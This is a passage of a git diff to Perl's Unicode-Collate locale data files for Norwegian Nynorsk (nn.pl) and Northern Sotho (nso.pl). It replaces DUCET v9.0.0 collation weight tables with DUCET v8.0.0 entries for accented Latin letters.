E WITH OGONEK -0065 0328 ; [.1F96.0022.0002] # LATIN SMALL LETTER E WITH OGONEK -0118 ; [.1F96.0022.0008] # LATIN CAPITAL LETTER E WITH OGONEK -0045 0328 ; [.1F96.0022.0008] # LATIN CAPITAL LETTER E WITH OGONEK -00F8 ; [.1F97.0020.0002] # LATIN SMALL LETTER O WITH STROKE -006F 0338 ; [.1F97.0020.0002] # LATIN SMALL LETTER O WITH STROKE -00D8 ; [.1F97.0020.0008] # LATIN CAPITAL LETTER O WITH STROKE -004F 0338 ; [.1F97.0020.0008] # LATIN CAPITAL LETTER O WITH STROKE -01FF ; [.1F97.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH STROKE AND ACUTE -01FE ; [.1F97.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH STROKE AND ACUTE -00F6 ; [.1F97.0021.0002] # LATIN SMALL LETTER O WITH DIAERESIS -006F 0308 ; [.1F97.0021.0002] # LATIN SMALL LETTER O WITH DIAERESIS -00D6 ; [.1F97.0021.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS -004F 0308 ; [.1F97.0021.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS -022B ; [.1F97.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON -022A ; [.1F97.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON -0151 ; [.1F97.0022.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE -006F 030B ; [.1F97.0022.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE -0150 ; [.1F97.0022.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE -004F 030B ; [.1F97.0022.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE -0153 ; [.1F97.0023.0002] # LATIN SMALL LIGATURE OE -0152 ; [.1F97.0023.0008] # LATIN CAPITAL LIGATURE OE -00E5 ; [.1F98.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE -0061 030A ; [.1F98.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE -00C5 ; [.1F98.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE -0041 030A ; [.1F98.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE -212B ; [.1F98.0020.0008] # ANGSTROM SIGN -01FB ; [.1F98.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH RING ABOVE AND ACUTE -01FA ; [.1F98.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH RING ABOVE AND ACUTE -0061 0061 ; [.1F98.0021.0002] # -0041 0061 ; [.1F98.0021.0007] # -0041 0041 ; [.1F98.0021.0008] # + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +0111 ; [.1C0A.0021.0002] # LATIN SMALL LETTER D WITH STROKE +0064 0335 ; [.1C0A.0021.0002] # LATIN SMALL LETTER D WITH STROKE +0110 ; [.1C0A.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE +0044 0335 ; [.1C0A.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE +00F0 ; [.1C0A.0022.0002] # LATIN SMALL LETTER ETH +1DD9 ; [.1C0A.0022.0002] # COMBINING LATIN SMALL LETTER ETH +00D0 ; [.1C0A.0022.0008] # LATIN CAPITAL LETTER ETH +00FE ; [.1E10.0020.0003][.1C93.0020.0003] # LATIN SMALL LETTER THORN +00DE ; [.1E10.0020.0009][.1C93.0020.0009] # LATIN CAPITAL LETTER THORN +00FC ; [.1E86.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS +0075 0308 ; [.1E86.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS +00DC ; [.1E86.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS +0055 0308 ; [.1E86.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS +01DC ; [.1E86.0021.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE +01DB ; [.1E86.0021.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE +01D8 ; [.1E86.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE +01D7 ; [.1E86.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE +01D6 ; [.1E86.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON +01D5 ; [.1E86.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON +01DA ; [.1E86.0021.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON +01D9 ; [.1E86.0021.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON +0171 ; [.1E86.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE +0075 030B ; [.1E86.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE +0170 ; [.1E86.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE +0055 030B ; [.1E86.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE +00E6 ; [.1F11.0020.0002] # LATIN SMALL LETTER AE +1DD4 ; [.1F11.0020.0002] # COMBINING LATIN SMALL LETTER AE +00C6 ; [.1F11.0020.0008] # LATIN CAPITAL LETTER AE +1D2D ; [.1F11.0020.0014] # MODIFIER LETTER CAPITAL AE +01FD ; [.1F11.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER AE WITH ACUTE +01FC ; [.1F11.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER AE WITH ACUTE +01E3 ; [.1F11.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER AE WITH MACRON +01E2 ; [.1F11.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER AE WITH MACRON +00E4 ; [.1F11.0021.0002] # LATIN SMALL LETTER A WITH DIAERESIS +0061 0308 ; [.1F11.0021.0002] # LATIN SMALL LETTER A WITH DIAERESIS +00C4 ; [.1F11.0021.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS +0041 0308 ; [.1F11.0021.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS +01DF ; [.1F11.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON +01DE ; [.1F11.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON +0119 ; [.1F11.0022.0002] # LATIN SMALL LETTER E WITH OGONEK +0065 0328 ; [.1F11.0022.0002] # LATIN SMALL LETTER E WITH OGONEK +0118 ; [.1F11.0022.0008] # LATIN CAPITAL LETTER E WITH OGONEK +0045 0328 ; [.1F11.0022.0008] # LATIN CAPITAL LETTER E WITH OGONEK +00F8 ; [.1F12.0020.0002] # LATIN SMALL LETTER O WITH STROKE +006F 0338 ; [.1F12.0020.0002] # LATIN SMALL LETTER O WITH STROKE +00D8 ; [.1F12.0020.0008] # LATIN CAPITAL LETTER O WITH STROKE +004F 0338 ; [.1F12.0020.0008] # LATIN CAPITAL LETTER O WITH STROKE +01FF ; [.1F12.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH STROKE AND ACUTE +01FE ; [.1F12.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH STROKE AND ACUTE +00F6 ; [.1F12.0021.0002] # LATIN SMALL LETTER O WITH DIAERESIS +006F 0308 ; [.1F12.0021.0002] # LATIN SMALL LETTER O WITH DIAERESIS +00D6 ; [.1F12.0021.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS +004F 0308 ; [.1F12.0021.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS +022B ; [.1F12.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON +022A ; [.1F12.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON +0151 ; [.1F12.0022.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE +006F 030B ; [.1F12.0022.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE +0150 ; [.1F12.0022.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE +004F 030B ; [.1F12.0022.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE +0153 ; [.1F12.0023.0002] # LATIN SMALL LIGATURE OE +0152 ; [.1F12.0023.0008] # LATIN CAPITAL LIGATURE OE +00E5 ; [.1F13.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE +0061 030A ; [.1F13.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE +00C5 ; [.1F13.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE +0041 030A ; [.1F13.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE +212B ; [.1F13.0020.0008] # ANGSTROM SIGN +01FB ; [.1F13.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH RING ABOVE AND ACUTE +01FA ; [.1F13.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH RING ABOVE AND ACUTE +0061 0061 ; [.1F13.0021.0002] # +0041 0061 ; [.1F13.0021.0007] # +0041 0041 ; [.1F13.0021.0008] # ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/nn.pl b/cpan/Unicode-Collate/Collate/Locale/nn.pl index b859b000b2f2..474d1222e8b6 100644 --- a/cpan/Unicode-Collate/Collate/Locale/nn.pl +++ b/cpan/Unicode-Collate/Collate/Locale/nn.pl @@ -1,76 +1,76 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -0111 ; [.1C8F.0021.0002] # LATIN SMALL LETTER D WITH STROKE -0064 0335 ; [.1C8F.0021.0002] # LATIN SMALL LETTER D WITH STROKE -0110 ; [.1C8F.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE -0044 0335 ; [.1C8F.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE -00F0 ; [.1C8F.0022.0002] # LATIN SMALL LETTER ETH -1DD9 ; [.1C8F.0022.0002] # COMBINING LATIN SMALL LETTER ETH -00D0 ; [.1C8F.0022.0008] # LATIN CAPITAL LETTER ETH -00FE ; [.1E95.0020.0003][.1D18.0020.0003] # LATIN SMALL LETTER THORN -00DE ; [.1E95.0020.0009][.1D18.0020.0009] # LATIN CAPITAL LETTER THORN -00FC ; [.1F0B.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS -0075 0308 ; [.1F0B.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS -00DC ; [.1F0B.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS -0055 0308 ; [.1F0B.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS -01DC ; [.1F0B.0021.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE -01DB ; [.1F0B.0021.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE -01D8 ; [.1F0B.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE -01D7 ; [.1F0B.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE -01D6 ; [.1F0B.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON -01D5 ; [.1F0B.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON -01DA ; [.1F0B.0021.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON -01D9 ; [.1F0B.0021.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON -0171 ; [.1F0B.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE -0075 030B ; [.1F0B.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE -0170 ; [.1F0B.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE -0055 030B ; [.1F0B.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE -00E6 ; [.1F96.0020.0002] # LATIN SMALL LETTER AE -1DD4 ; [.1F96.0020.0002] # COMBINING LATIN SMALL LETTER AE -00C6 ; [.1F96.0020.0008] # LATIN CAPITAL LETTER AE -1D2D ; [.1F96.0020.0014] # MODIFIER LETTER CAPITAL AE -01FD ; [.1F96.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER AE WITH ACUTE -01FC ; [.1F96.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER AE WITH ACUTE -01E3 ; [.1F96.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER AE WITH MACRON -01E2 ; [.1F96.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER AE WITH MACRON -00E4 ; [.1F96.0021.0002] # LATIN SMALL LETTER A WITH DIAERESIS -0061 0308 ; [.1F96.0021.0002] # LATIN SMALL LETTER A WITH DIAERESIS -00C4 ; [.1F96.0021.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS -0041 0308 ; [.1F96.0021.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS -01DF ; [.1F96.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON -01DE ; [.1F96.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON -0119 ; [.1F96.0022.0002] # LATIN SMALL LETTER E WITH OGONEK -0065 0328 ; [.1F96.0022.0002] # LATIN SMALL LETTER E WITH OGONEK -0118 ; [.1F96.0022.0008] # LATIN CAPITAL LETTER E WITH OGONEK -0045 0328 ; [.1F96.0022.0008] # LATIN CAPITAL LETTER E WITH OGONEK -00F8 ; [.1F97.0020.0002] # LATIN SMALL LETTER O WITH STROKE -006F 0338 ; [.1F97.0020.0002] # LATIN SMALL LETTER O WITH STROKE -00D8 ; [.1F97.0020.0008] # LATIN CAPITAL LETTER O WITH STROKE -004F 0338 ; [.1F97.0020.0008] # LATIN CAPITAL LETTER O WITH STROKE -01FF ; [.1F97.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH STROKE AND ACUTE -01FE ; [.1F97.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH STROKE AND ACUTE -00F6 ; [.1F97.0021.0002] # LATIN SMALL LETTER O WITH DIAERESIS -006F 0308 ; [.1F97.0021.0002] # LATIN SMALL LETTER O WITH DIAERESIS -00D6 ; [.1F97.0021.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS -004F 0308 ; [.1F97.0021.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS -022B ; [.1F97.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON -022A ; [.1F97.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON -0151 ; [.1F97.0022.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE -006F 030B ; [.1F97.0022.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE -0150 ; [.1F97.0022.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE -004F 030B ; [.1F97.0022.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE -0153 ; [.1F97.0023.0002] # LATIN SMALL LIGATURE OE -0152 ; [.1F97.0023.0008] # LATIN CAPITAL LIGATURE OE -00E5 ; [.1F98.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE -0061 030A ; [.1F98.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE -00C5 ; [.1F98.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE -0041 030A ; [.1F98.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE -212B ; [.1F98.0020.0008] # ANGSTROM SIGN -01FB ; [.1F98.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH RING ABOVE AND ACUTE -01FA ; [.1F98.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH RING ABOVE AND ACUTE -0061 0061 ; [.1F98.0021.0002] # -0041 0061 ; [.1F98.0021.0007] # -0041 0041 ; [.1F98.0021.0008] # + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +0111 ; [.1C0A.0021.0002] # LATIN SMALL LETTER D WITH STROKE +0064 0335 ; [.1C0A.0021.0002] # LATIN SMALL LETTER D WITH STROKE +0110 ; [.1C0A.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE +0044 0335 ; [.1C0A.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE +00F0 ; [.1C0A.0022.0002] # LATIN SMALL LETTER ETH +1DD9 ; [.1C0A.0022.0002] # COMBINING LATIN SMALL LETTER ETH +00D0 ; [.1C0A.0022.0008] # LATIN CAPITAL LETTER ETH +00FE ; [.1E10.0020.0003][.1C93.0020.0003] # LATIN SMALL LETTER THORN +00DE ; [.1E10.0020.0009][.1C93.0020.0009] # LATIN CAPITAL LETTER THORN +00FC ; [.1E86.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS +0075 0308 ; [.1E86.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS +00DC ; [.1E86.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS +0055 0308 ; [.1E86.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS +01DC ; [.1E86.0021.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE +01DB ; [.1E86.0021.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE +01D8 ; [.1E86.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE +01D7 ; [.1E86.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE +01D6 ; [.1E86.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON +01D5 ; [.1E86.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON +01DA ; [.1E86.0021.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON +01D9 ; [.1E86.0021.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON +0171 ; [.1E86.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE +0075 030B ; [.1E86.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE +0170 ; [.1E86.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE +0055 030B ; [.1E86.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE +00E6 ; [.1F11.0020.0002] # LATIN SMALL LETTER AE +1DD4 ; [.1F11.0020.0002] # COMBINING LATIN SMALL LETTER AE +00C6 ; [.1F11.0020.0008] # LATIN CAPITAL LETTER AE +1D2D ; [.1F11.0020.0014] # MODIFIER LETTER CAPITAL AE +01FD ; [.1F11.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER AE WITH ACUTE +01FC ; [.1F11.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER AE WITH ACUTE +01E3 ; [.1F11.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER AE WITH MACRON +01E2 ; [.1F11.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER AE WITH MACRON +00E4 ; [.1F11.0021.0002] # LATIN SMALL LETTER A WITH DIAERESIS +0061 0308 ; [.1F11.0021.0002] # LATIN SMALL LETTER A WITH DIAERESIS +00C4 ; [.1F11.0021.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS +0041 0308 ; [.1F11.0021.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS +01DF ; [.1F11.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON +01DE ; [.1F11.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON +0119 ; [.1F11.0022.0002] # LATIN SMALL LETTER E WITH OGONEK +0065 0328 ; [.1F11.0022.0002] # LATIN SMALL LETTER E WITH OGONEK +0118 ; [.1F11.0022.0008] # LATIN CAPITAL LETTER E WITH OGONEK +0045 0328 ; [.1F11.0022.0008] # LATIN CAPITAL LETTER E WITH OGONEK +00F8 ; [.1F12.0020.0002] # LATIN SMALL LETTER O WITH STROKE +006F 0338 ; [.1F12.0020.0002] # LATIN SMALL LETTER O WITH STROKE +00D8 ; [.1F12.0020.0008] # LATIN CAPITAL LETTER O WITH STROKE +004F 0338 ; [.1F12.0020.0008] # LATIN CAPITAL LETTER O WITH STROKE +01FF ; [.1F12.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH STROKE AND ACUTE +01FE ; [.1F12.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH STROKE AND ACUTE +00F6 ; [.1F12.0021.0002] # LATIN SMALL LETTER O WITH DIAERESIS +006F 0308 ; [.1F12.0021.0002] # LATIN SMALL LETTER O WITH DIAERESIS +00D6 ; [.1F12.0021.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS +004F 0308 ; [.1F12.0021.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS +022B ; [.1F12.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON +022A ; [.1F12.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON +0151 ; [.1F12.0022.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE +006F 030B ; [.1F12.0022.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE +0150 ; [.1F12.0022.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE +004F 030B ; [.1F12.0022.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE +0153 ; [.1F12.0023.0002] # LATIN SMALL LIGATURE OE +0152 ; [.1F12.0023.0008] # LATIN CAPITAL LIGATURE OE +00E5 ; [.1F13.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE +0061 030A ; [.1F13.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE +00C5 ; [.1F13.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE +0041 030A ; [.1F13.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE +212B ; [.1F13.0020.0008] # ANGSTROM SIGN +01FB ; [.1F13.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH RING ABOVE AND ACUTE +01FA ; [.1F13.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH RING ABOVE AND ACUTE +0061 0061 ; [.1F13.0021.0002] # +0041 0061 ; [.1F13.0021.0007] # +0041 0041 ; [.1F13.0021.0008] # ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/nso.pl b/cpan/Unicode-Collate/Collate/Locale/nso.pl index 0d2480525709..1229a1a92fc6 100644 --- a/cpan/Unicode-Collate/Collate/Locale/nso.pl +++ b/cpan/Unicode-Collate/Collate/Locale/nso.pl @@ -1,37 +1,37 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -00EA ; [.1CAB.0020.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX -0065 0302 ; [.1CAB.0020.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX -00CA ; [.1CAB.0020.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX -0045 0302 ; [.1CAB.0020.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX -1EC1 ; [.1CAB.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE -1EC0 ; [.1CAB.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE -1EBF ; [.1CAB.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE -1EBE ; [.1CAB.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE -1EC5 ; [.1CAB.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND TILDE -1EC4 ; [.1CAB.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND TILDE -1EC3 ; [.1CAB.0020.0002][.0000.003B.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE -1EC2 ; [.1CAB.0020.0008][.0000.003B.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE -1EC7 ; [.1CAB.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND DOT BELOW -1EC6 ; [.1CAB.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND DOT BELOW -00F4 ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX -006F 0302 ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX -00D4 ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX -004F 0302 ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX -1ED3 ; [.1DDE.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND GRAVE -1ED2 ; [.1DDE.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND GRAVE -1ED1 ; [.1DDE.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND ACUTE -1ED0 ; [.1DDE.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND ACUTE -1ED7 ; [.1DDE.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND TILDE -1ED6 ; [.1DDE.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND TILDE -1ED5 ; [.1DDE.0020.0002][.0000.003B.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE -1ED4 ; [.1DDE.0020.0008][.0000.003B.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE -1ED9 ; [.1DDE.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND DOT BELOW -1ED8 ; [.1DDE.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND DOT BELOW -0161 ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH CARON -0073 030C ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH CARON -0160 ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH CARON -0053 030C ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH CARON + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +00EA ; [.1C26.0020.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX +0065 0302 ; [.1C26.0020.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX +00CA ; [.1C26.0020.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX +0045 0302 ; [.1C26.0020.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX +1EC1 ; [.1C26.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE +1EC0 ; [.1C26.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE +1EBF ; [.1C26.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE +1EBE ; [.1C26.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE +1EC5 ; [.1C26.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND TILDE +1EC4 ; [.1C26.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND TILDE +1EC3 ; [.1C26.0020.0002][.0000.003B.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE +1EC2 ; [.1C26.0020.0008][.0000.003B.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE +1EC7 ; [.1C26.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND DOT BELOW +1EC6 ; [.1C26.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND DOT BELOW +00F4 ; [.1D59.0020.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX +006F 0302 ; [.1D59.0020.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX +00D4 ; [.1D59.0020.0008] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX +004F 0302 ; [.1D59.0020.0008] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX +1ED3 ; [.1D59.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND GRAVE +1ED2 ; [.1D59.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND GRAVE +1ED1 ; [.1D59.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND ACUTE +1ED0 ; [.1D59.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND ACUTE +1ED7 ; [.1D59.0020.0002][.0000.002D.0002] # LATIN SMALL 